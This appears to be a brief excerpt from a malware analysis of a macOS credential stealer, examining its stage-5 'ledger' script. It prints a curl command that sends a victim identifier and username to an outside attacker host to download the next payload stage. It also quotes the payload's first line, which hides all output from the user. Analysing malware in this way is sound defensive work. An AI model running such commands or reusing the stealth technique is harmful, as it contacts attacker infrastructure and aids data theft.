Essential macOS Stealer - script.sh

Stage5 ledger Code Analysis

Looking at the ledger component selector, the following cURL is used:

1
curl --max-time 100 --retry 3 --retry-delay 2 -X POST 'https://d9mjs.sbs/' -d 'uuid=AAA1111A-1A11-11AA-A111-0A1A1A11AA11>&username=aldo&txid=7dc957c3cfcbf7bb79ff3b8f0f8288a9&ledger'  > public/samples/new/stage5_ledger.sh

Its content is:

1
#!/bin/bash
2

3
exec >/dev/null 2>&1

After this line runs, any command that would normally print to the terminal, including normal output and error messages, is discarded.